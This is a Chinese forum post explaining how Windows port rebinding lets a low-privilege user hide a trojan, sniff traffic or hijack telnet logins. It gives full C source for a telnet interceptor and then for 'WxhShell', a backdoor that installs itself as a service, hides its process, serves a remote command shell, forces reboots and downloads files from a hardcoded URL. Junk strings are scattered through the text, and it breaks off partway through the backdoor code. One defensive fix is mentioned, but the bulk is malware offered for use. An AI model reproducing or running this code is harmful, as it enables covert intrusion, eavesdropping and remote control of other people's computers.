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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _?felxG[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hJ%$Te  
,@ p4HN*  
  saddr.sin_family = AF_INET; ,H?e23G  
a 01s'9Be  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 89 m.,  
+Q5'!@8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $Sy}im\H  
9k62_]w@6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9i_@3OVl  
IY!.j5q8  
  这意味着什么?意味着可以进行如下的攻击: >2K'!@ ~'  
3zfpFgD!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4Hyp]07  
 )D+eWo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =s:kC`O  
e)-$ #qW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [-W~o.`  
hB>FJZQ_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e 5(|9*t  
8* m,#   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z\, lPwB2  
! B`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oMM@{Jp  
suaP'0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uj%]+Llxv  
vP'!&}  
  #include s^)(.e_  
  #include 4\V/A+<W  
  #include Oi C|~8  
  #include    N1y,~Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I WT|dA >  
  int main() Ai 8+U)  
  { _a$5"  
  WORD wVersionRequested; 07(LLhk@d  
  DWORD ret; {9P(U\]e]k  
  WSADATA wsaData; $Sm iN'7;  
  BOOL val; ~k@{b&  
  SOCKADDR_IN saddr; u@Ni *)p`  
  SOCKADDR_IN scaddr; ZV5IZ&V!  
  int err; c*[aIqj  
  SOCKET s; 1 Cz}|#U  
  SOCKET sc; eUu<q/FUMj  
  int caddsize; X H!n{Of  
  HANDLE mt; d{WOO)j  
  DWORD tid;   $mq+/|bn  
  wVersionRequested = MAKEWORD( 2, 2 ); O]="ggq&  
  err = WSAStartup( wVersionRequested, &wsaData ); =NK'xPr  
  if ( err != 0 ) { QDK }e:4q  
  printf("error!WSAStartup failed!\n"); h3\(660>$  
  return -1; eA(FWO  
  } )`|`PB  
  saddr.sin_family = AF_INET; 8c%N+E]  
   j{t r''yN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w9x5IRWk  
E 6Uj8]P`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?u{Mz9:?HT  
  saddr.sin_port = htons(23); s"tH?m )6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mMu+MXTk<  
  { )g-0b@z!n  
  printf("error!socket failed!\n"); voP #}fD  
  return -1; #w^Ot*{!N  
  } _-v$fDrz  
  val = TRUE;  SBi4i;qD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :< ]sJf N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1]8Hpd  
  { TEK#AR  
  printf("error!setsockopt failed!\n"); \`/ P*  
  return -1; G%jV}7h  
  } X2np.9hie  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7D8 pb0`;J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VqOTrB1w/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "x:-#2+h  
h,fahbH -  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :Xx7':5  
  { `B3YP1  
  ret=GetLastError(); o/RGzPR  
  printf("error!bind failed!\n"); op&j4R  
  return -1; 9(a*0H  
  } Q"LlBp>t|#  
  listen(s,2); Mp J3*$Dr  
  while(1) E%f!SD  
  { & )-fC  
  caddsize = sizeof(scaddr); C}o^p"M*B3  
  //接受连接请求 *li5/=UC5*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3)^ 2X  
  if(sc!=INVALID_SOCKET) 8l?@ o  
  { PIsXX#`7;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4!M0)Nix  
  if(mt==NULL) 6 iH]N*]S^  
  { etb#/L  
  printf("Thread Creat Failed!\n"); ' #t1e]  
  break; yS#D$q2_  
  } 5RSP.Vyx{  
  } `;Fs  
  CloseHandle(mt); TPZ^hL>ao  
  } 4]cr1K ^  
  closesocket(s); 7Z81+I|&8  
  WSACleanup(); G1,u{d-_  
  return 0; J,`I>^G  
  }   4J[csU  
  DWORD WINAPI ClientThread(LPVOID lpParam) M?ElD1#Z  
  { xaIe7.Z"xo  
  SOCKET ss = (SOCKET)lpParam; ciPq@kMV  
  SOCKET sc; Ao9|t;i  
  unsigned char buf[4096]; 2m&?t_W  
  SOCKADDR_IN saddr; /w*HxtwFmD  
  long num; eX^ F^(   
  DWORD val; M!PK3  
  DWORD ret;  t|:XSJ9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fow{-cs_p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $A:?o?"7}  
  saddr.sin_family = AF_INET; 3-![% u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *+ O  
  saddr.sin_port = htons(23); o-AAx#@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  A1jA$  
  { )Z`OkkabnD  
  printf("error!socket failed!\n"); ev yA#~o  
  return -1; 4Rl~7|  
  } v)!^%D  
  val = 100; z&|sks7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rAu@`H?  
  { ,fs>+]UY3  
  ret = GetLastError(); s:sk`~2<gd  
  return -1; ).r04)/  
  } g$Ns u:L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;q2e[y  
  { n{%[G2.A  
  ret = GetLastError(); !wjD6 NK  
  return -1; 8qq'q"g  
  } GYri\<[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xC$CRzAe5p  
  { HD}3mP  
  printf("error!socket connect failed!\n"); *C^`+*}OE$  
  closesocket(sc); *3y:Wv T>  
  closesocket(ss); f87lm*wZ  
  return -1; YYd!/@|N5  
  } Rd+ `b  
  while(1) >!P !F(  
  {  ] 2lh J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @p7*JLO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F[oTc^dr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |+Ub3<b[]  
  num = recv(ss,buf,4096,0); E njSio0  
  if(num>0) </h}2x  
  send(sc,buf,num,0); z Q11dLjs  
  else if(num==0) izP>w*/nO  
  break; qH*Fv:qnM  
  num = recv(sc,buf,4096,0); ^:m7Qd?Z[  
  if(num>0) (wEaw|Zx  
  send(ss,buf,num,0); G~\=:d=^,`  
  else if(num==0) PPj0LFA  
  break; f.u+({"ql  
  } :]IY w!_-p  
  closesocket(ss); _i1x\Z~ N  
  closesocket(sc); kT{d pGU9  
  return 0 ; +C9 l7 q  
  } ?{-y? %y  
HY'-P&H5(  
oyo V1jO  
========================================================== Z|$OPMLX  
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下边附上一个代码,,WXhSHELL +S}/ 6dg  
25jgM!QBXF  
========================================================== X\LiV{c  
q{oppali  
#include "stdafx.h" \MFjb IL  
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#include <stdio.h> !5[5l!{x  
#include <string.h> o51jw(wO  
#include <windows.h> EEO)b_(  
#include <winsock2.h> g%f6D%d)A  
#include <winsvc.h> <>6DPHg~  
#include <urlmon.h> RE75TqYW  
[>U =P`  
#pragma comment (lib, "Ws2_32.lib") NYp46;  
#pragma comment (lib, "urlmon.lib") y8=H+Y  
*Nh[T-y(s  
#define MAX_USER   100 // 最大客户端连接数 -85W/%  
#define BUF_SOCK   200 // sock buffer xsdi\ j;n>  
#define KEY_BUFF   255 // 输入 buffer 0:4w@"Q  
qEV>$>}  
#define REBOOT     0   // 重启 ju?D=n@i  
#define SHUTDOWN   1   // 关机 G^/8lIj  
rnTjw "%  
#define DEF_PORT   5000 // 监听端口 $y+Bril5W  
o@tc   
#define REG_LEN     16   // 注册表键长度 <;nhb  
#define SVC_LEN     80   // NT服务名长度 [&a=vE  
g\lEdxm6Sj  
// 从dll定义API vmK`QPu 2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $[DSe~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l^%W/b>?b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K';x2ffj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :f5"w+  
[}t^+^/  
// wxhshell配置信息 mR6hnKa_53  
struct WSCFG { /p_#8}Uh  
  int ws_port;         // 监听端口 E*X-f"  
  char ws_passstr[REG_LEN]; // 口令 U/3 <p8  
  int ws_autoins;       // 安装标记, 1=yes 0=no El#"vIg(\  
  char ws_regname[REG_LEN]; // 注册表键名 3Ja1|;(2  
  char ws_svcname[REG_LEN]; // 服务名 rc+}KO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -yP_S~ \n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %T'<vw0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6E@qZvQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &a bR}J[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }IGoPCV|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j$Z:S~*  
`5C uH  
}; Tg ~SGAc  
Pmj%QhOYE  
// default Wxhshell configuration +1=]93gP  
struct WSCFG wscfg={DEF_PORT, -{rUE +  
    "xuhuanlingzhe", D>efr8Qd@  
    1, `PApmS~} .  
    "Wxhshell", Vmf !0-  
    "Wxhshell", ]ovb!X_  
            "WxhShell Service", hO] vy>i;  
    "Wrsky Windows CmdShell Service", s'Wu \r'  
    "Please Input Your Password: ", n!$zO{P  
  1, A9\(vxxOpC  
  "http://www.wrsky.com/wxhshell.exe", W 2.Ap  
  "Wxhshell.exe" o-_H+p6a  
    }; A$Ok^  
T.?}iz=ZEq  
// 消息定义模块 ]XhX aoqL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wY6m^g$h3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 38l 8n.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kx31g,cf]w  
char *msg_ws_ext="\n\rExit."; 'sT7t&v~  
char *msg_ws_end="\n\rQuit."; FEwPLViso  
char *msg_ws_boot="\n\rReboot..."; ;"Q.c#pA$g  
char *msg_ws_poff="\n\rShutdown..."; ztb?4f q6)  
char *msg_ws_down="\n\rSave to "; ^'ac |+  
e'0BP,\f_}  
char *msg_ws_err="\n\rErr!"; |Pj]sh[^Y  
char *msg_ws_ok="\n\rOK!"; AD^Q`7K?uR  
!$L~/<&0g  
char ExeFile[MAX_PATH]; FH7h?!|t  
int nUser = 0; Cu&y',ee~  
HANDLE handles[MAX_USER]; zVyMmw\  
int OsIsNt; -"~XI~a@Wo  
{7Q)2NC  
SERVICE_STATUS       serviceStatus; b:t|9 FE%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j;SK{Oq  
,A9_xdv5  
// 函数声明 ' >R?8Y  
int Install(void); x,:DL)$1  
int Uninstall(void); 5~GH*!h%;  
int DownloadFile(char *sURL, SOCKET wsh); ,zVS}!jRhy  
int Boot(int flag); ]m<z  
void HideProc(void); 5e}adHjM  
int GetOsVer(void); q)PLc{NO  
int Wxhshell(SOCKET wsl); RBOg;EJ  
void TalkWithClient(void *cs); IB\O[R$x  
int CmdShell(SOCKET sock); }NpN<C+  
int StartFromService(void); wlsq[x P  
int StartWxhshell(LPSTR lpCmdLine); 0 n}2D7  
-"uOh,G}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *r(Qy0(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {U"=}j(  
d`9ofw~3=  
// 数据结构和表定义 z,xGjS P  
SERVICE_TABLE_ENTRY DispatchTable[] = :Fh#"<A&&  
{ l#bE_PD;  
{wscfg.ws_svcname, NTServiceMain}, IC6r?  
{NULL, NULL} +*L<"@  
}; k$3Iv"gbx  
Cm%|hk>fQ  
// 自我安装 ,4--3 MU  
int Install(void) GW,RE\Q:  
{ / ?Hq  
  char svExeFile[MAX_PATH]; {L/hhKT  
  HKEY key; F_-}GN%  
  strcpy(svExeFile,ExeFile); Xb2.t^ ]f  
7.FD16  
// 如果是win9x系统,修改注册表设为自启动 _?v&\j  
if(!OsIsNt) { !q!5D`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tE WolO[\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7A"v:e  
  RegCloseKey(key); z9Nial`p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <%?!3 n*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c"lblt5  
  RegCloseKey(key); QERj`/g  
  return 0; w:aV2  
    } A9Icn>3?`(  
  } F[KM0t!  
} `G:I|=#w  
else { *aW:Z6N  
+$$5Cv5#<&  
// 如果是NT以上系统,安装为系统服务 &lnM 1W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $O_{cSKg7  
if (schSCManager!=0) ftxy]N LF  
{ 9";qR,  
  SC_HANDLE schService = CreateService 21[=xboU  
  ( 7sq15oL  
  schSCManager, z-N N( G+  
  wscfg.ws_svcname, ]w_JbFmT  
  wscfg.ws_svcdisp, QD^q\9U[  
  SERVICE_ALL_ACCESS, (;9j#x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hip't@.uE  
  SERVICE_AUTO_START, %l[]n;*$  
  SERVICE_ERROR_NORMAL, sA2esA@C<o  
  svExeFile, W:>XXUU  
  NULL, yT|44 D2j  
  NULL, N qS]dH61  
  NULL, 0K4A0s_R`  
  NULL, TeRH@oI  
  NULL _$_,r H  
  ); ,H>'1~q  
  if (schService!=0) mO2u9?N  
  { _ %G;^ b  
  CloseServiceHandle(schService); ]Z?jo#F  
  CloseServiceHandle(schSCManager); .z[#j]k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y({lE3P  
  strcat(svExeFile,wscfg.ws_svcname); pi5DDK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [<WoXS1LX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  [ J4n%  
  RegCloseKey(key); CsEU:v  
  return 0; A|YiSwyy  
    } _*ar\A`  
  } I]a [Ngj  
  CloseServiceHandle(schSCManager); f7/M_sx  
} QB3er]y0%  
} dU-nE5  
Irui{%T  
return 1; %bS1$ v\n  
} p<+Y;,+  
!P3y+;S  
// 自我卸载 OXnTD!m>{  
int Uninstall(void) m- bu{  
{ 5Od&-~O  
  HKEY key; &"( zK"O  
T: SqENV  
if(!OsIsNt) { Z7>Nd$E{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g}d[j I9  
  RegDeleteValue(key,wscfg.ws_regname); i.{.koH<  
  RegCloseKey(key); Rn)fwGC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OIDP#K  
  RegDeleteValue(key,wscfg.ws_regname); D$+g5u)  
  RegCloseKey(key); 86);0EBX  
  return 0; 6^lix9q7  
  } 0?cJ>)N  
} ~OWpk)Vq  
} (8~D ^N6Z  
else { a"l\_D'.K8  
UF$O@l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "7eL&  
if (schSCManager!=0) g7{:F\S  
{ dQ_hlx!J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C3'?E<F  
  if (schService!=0) izzX$O[=:  
  { Tgl >  
  if(DeleteService(schService)!=0) { R90#T6^  
  CloseServiceHandle(schService); V|~o`(]  
  CloseServiceHandle(schSCManager); @}2EEo#  
  return 0; 51tZ:-1!  
  } c dWg_WBC  
  CloseServiceHandle(schService); r'4Dj&9Ac  
  } M:dH>  
  CloseServiceHandle(schSCManager); !f]kTs]j~  
} BS ]:w(}[  
} T;]Ob3(BpW  
`"o{MaFA  
return 1; virt[5w  
} (\'$$  
zp5ZZcj_  
// 从指定url下载文件 o=6 <?v7  
int DownloadFile(char *sURL, SOCKET wsh) e]5NA?2j  
{ ^$X|Lq  
  HRESULT hr; {u+=K-Bj  
char seps[]= "/"; [ . }Uzx  
char *token; j#xGB]  
char *file; "dT"6,  
char myURL[MAX_PATH]; 10)RLh|+  
char myFILE[MAX_PATH]; {T-^xwc  
'rTJ*1i  
strcpy(myURL,sURL); GaV}@Q  
  token=strtok(myURL,seps); hxMV?\MYj  
  while(token!=NULL) |>OBpb  
  { i[ >U#5  
    file=token; ^C92R"*Qu  
  token=strtok(NULL,seps); fz A Fn$[  
  } x6^Y&,y9kU  
@AM11v\:  
GetCurrentDirectory(MAX_PATH,myFILE); F`GXho[  
strcat(myFILE, "\\"); r*dNta<  
strcat(myFILE, file); Ud7Z7?Ym  
  send(wsh,myFILE,strlen(myFILE),0); PT }J.Dwx  
send(wsh,"...",3,0); @;x*~0GZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !8D>Bczq)  
  if(hr==S_OK) 7&9w_iCkV  
return 0; slhMvHOk-  
else ~KV{m  
return 1; *nc3A[B#C  
=z]rZSq*o  
} &H P g>  
|sY  
// 系统电源模块 )0DgFA6k_  
int Boot(int flag) q#SEtyJL  
{ 3=^)=yOd  
  HANDLE hToken; C"$~w3A k  
  TOKEN_PRIVILEGES tkp; *l;S"}b*,_  
|28'<BL  
  if(OsIsNt) { ,i Y:#E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;9~ WB X"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pwkTe  
    tkp.PrivilegeCount = 1; ~)n[Vf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <*WGvCh%w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c*]f#yr?  
if(flag==REBOOT) { gcB hEw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Uey'Xz  
  return 0; ~#i2reG5  
} D.Cn`O}  
else { lSlZ^.&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N  /'  
  return 0; znSlSQpTv  
} I$p1^8~L  
  } <QO1Yg7}  
  else { 0kNKt(_  
if(flag==REBOOT) { D4C:%D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7qZC+x6_L  
  return 0; -FI)o`AE  
} lC`w}0 p  
else { 4<Nd5T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :WX OD  
  return 0; %l14K_  
} *v]s&$WyO  
} NL>Trv5  
93:oXyFjD  
return 1; 97$Q?a8S@  
} KO%$  
W$2 \GPJt  
// win9x进程隐藏模块 2K{'F1"RM  
void HideProc(void) Kh[l};/F  
{ ~, E }^  
l U8pX$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  @;$cX2  
  if ( hKernel != NULL ) :CK`v6 Qs  
  { S89j:KRXH%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 o$zT9j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +RJKJ:W  
    FreeLibrary(hKernel); WJu(,zM?G  
  } >j3':>\U  
7}y@VO6]  
return; rMHh!)^#W  
} 9(O eH7  
d(TN(6g@  
// 获取操作系统版本 B@NBN&Fr  
int GetOsVer(void)  }( CYok  
{ bmK  
  OSVERSIONINFO winfo; 1#%H!GKvTU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ot[ZFF\  
  GetVersionEx(&winfo); AIY 1sSK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |JF,n~n  
  return 1; *4NY"EwjN  
  else gzn:]Y^  
  return 0; n|6G\99l+M  
} Du65>O  
8h }a:/  
// 客户端句柄模块 q g=`=]j  
int Wxhshell(SOCKET wsl) {? Y \T  
{ r5ldK?=k+*  
  SOCKET wsh; [DDe}D3C  
  struct sockaddr_in client; Y0krFhL'x0  
  DWORD myID; 9jY+0h*uP  
+])<}S!M  
  while(nUser<MAX_USER) A&p@iE*/  
{ [5!}+8]W  
  int nSize=sizeof(client); tpEy-"D&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wpt$bqs|1  
  if(wsh==INVALID_SOCKET) return 1; nW"O+s3  
_ h5d~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w8R7Ksn(  
if(handles[nUser]==0) :$k1I-^R  
  closesocket(wsh); Q~qM;l\i  
else pfHjs3A=  
  nUser++; egSs=\  
  } L.yM"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UPr& `kaJ  
d~rA`!s7`  
  return 0; &9)/"  
} v%AepK&  
 YTZ :D/  
// 关闭 socket Zi+FIQ(  
void CloseIt(SOCKET wsh) Gf3-%s xA  
{ :wXiz`VH  
closesocket(wsh); #::+# G  
nUser--; 6H: fg  
ExitThread(0); ,b -  
} Anu:  
BYMdX J  
// 客户端请求句柄 *#b e  
void TalkWithClient(void *cs) B>>_t2IU  
{ `|>]P"9yp  
Hzm_o>^KC  
  SOCKET wsh=(SOCKET)cs; Uq_lT,  
  char pwd[SVC_LEN]; 2t_g\Q  
  char cmd[KEY_BUFF]; ;$zvm`|:  
char chr[1]; .Z'NH wCy  
int i,j; \wsVO"/  
2wB *c9~  
  while (nUser < MAX_USER) { %L- qAI&V  
/CO=!*7fz  
if(wscfg.ws_passstr) { L&)e}"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aVK,( j9u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?!U.o1  
  //ZeroMemory(pwd,KEY_BUFF); C]8w[)d[`;  
      i=0; <=GZm}/]N  
  while(i<SVC_LEN) { E;s_=j1f  
6'kQ(r>  
  // 设置超时 0$c(<+D  
  fd_set FdRead; e ar:`11z  
  struct timeval TimeOut; U)Hc 7% e  
  FD_ZERO(&FdRead); X>yDj]*4P  
  FD_SET(wsh,&FdRead); 4)D~S4{E5  
  TimeOut.tv_sec=8;  K];]  
  TimeOut.tv_usec=0; F"k`PF*b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  B>:U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i6k6l%  
2^ ]^Yc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CN ( :  
  pwd=chr[0]; l$\B>u,>  
  if(chr[0]==0xd || chr[0]==0xa) { N,rd= m+  
  pwd=0; J-'XT_k:iM  
  break; J/K~8s c  
  } Q"u2<  
  i++; (|Gwg\r  
    } EK=0oy[  
(?8i^T?WP=  
  // 如果是非法用户,关闭 socket yUJ#LDW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,LxZbo!  
} 9uWg4U  
n/(}|xYU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N8At N\e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IMbF]6%p(  
5o 5DG  
while(1) { =cS5f#0  
JD0s0>q_  
  ZeroMemory(cmd,KEY_BUFF); ],0I`!\  
dR.?Kv(,E  
      // 自动支持客户端 telnet标准   LKcp.i  
  j=0; =,;$d&#*h  
  while(j<KEY_BUFF) { frPQi{u$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z3c\}HLY  
  cmd[j]=chr[0]; j>;1jzr2}  
  if(chr[0]==0xa || chr[0]==0xd) { -ak. wwx\  
  cmd[j]=0; FWW@t1)  
  break; /iM1   
  } G \MeJSt*  
  j++; K;"oK  
    }  0LL65[  
HP_h!pvx  
  // 下载文件 )e'F[  
  if(strstr(cmd,"http://")) { #z&R9$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6M7GPHah  
  if(DownloadFile(cmd,wsh)) 0n6eWwY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R[l`# I  
  else H $Az,-P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oY0b8=[  
  } _F[a2PE2+  
  else { 1G12FV>M  
@fmp2!?6  
    switch(cmd[0]) { i0wBZ i?  
  @d~]3T  
  // 帮助 :Ob^b3<t  
  case '?': { =>c0NT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +J C"@  
    break; '@+q_v@Jl  
  } Ew{*)r)m  
  // 安装 *&IvEu  
  case 'i': { /D^ g"  
    if(Install()) $mKExW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]!^wB 3j  
    else "@ ^<~bw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -QJ8\/1>  
    break; j*|0#q;e6  
    } Mx6 yk,  
  // 卸载 =|Qxv`S1  
  case 'r': { n=JV*h0  
    if(Uninstall()) kG5+kwV=:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:ow"cOEf  
    else J`0dF<<{[y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZDzG8E0Sq  
    break; ]?T^tJ  
    } Hpz1Iy @  
  // 显示 wxhshell 所在路径 |,`"Omb9+m  
  case 'p': { --"5yGOL  
    char svExeFile[MAX_PATH]; [^}bc-9?i  
    strcpy(svExeFile,"\n\r"); 8$]SvfX  
      strcat(svExeFile,ExeFile); _u6N aB  
        send(wsh,svExeFile,strlen(svExeFile),0); Q%q;=a  
    break; hG~.Sc:G  
    } -a>CF^tH  
  // 重启 LNR1YC1c  
  case 'b': { k)D5>T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `a[fC9  
    if(Boot(REBOOT)) ,Nw2cv}D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQ)*jeD  
    else { U_'M9g{,<  
    closesocket(wsh); OhN2FkxL  
    ExitThread(0); Ws0)B8y,|  
    } ,.2qh|Ol  
    break; DeW{#c6  
    }  U&  
  // 关机 ._j?1Fw`  
  case 'd': { |P& \C8h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DAf@-~c  
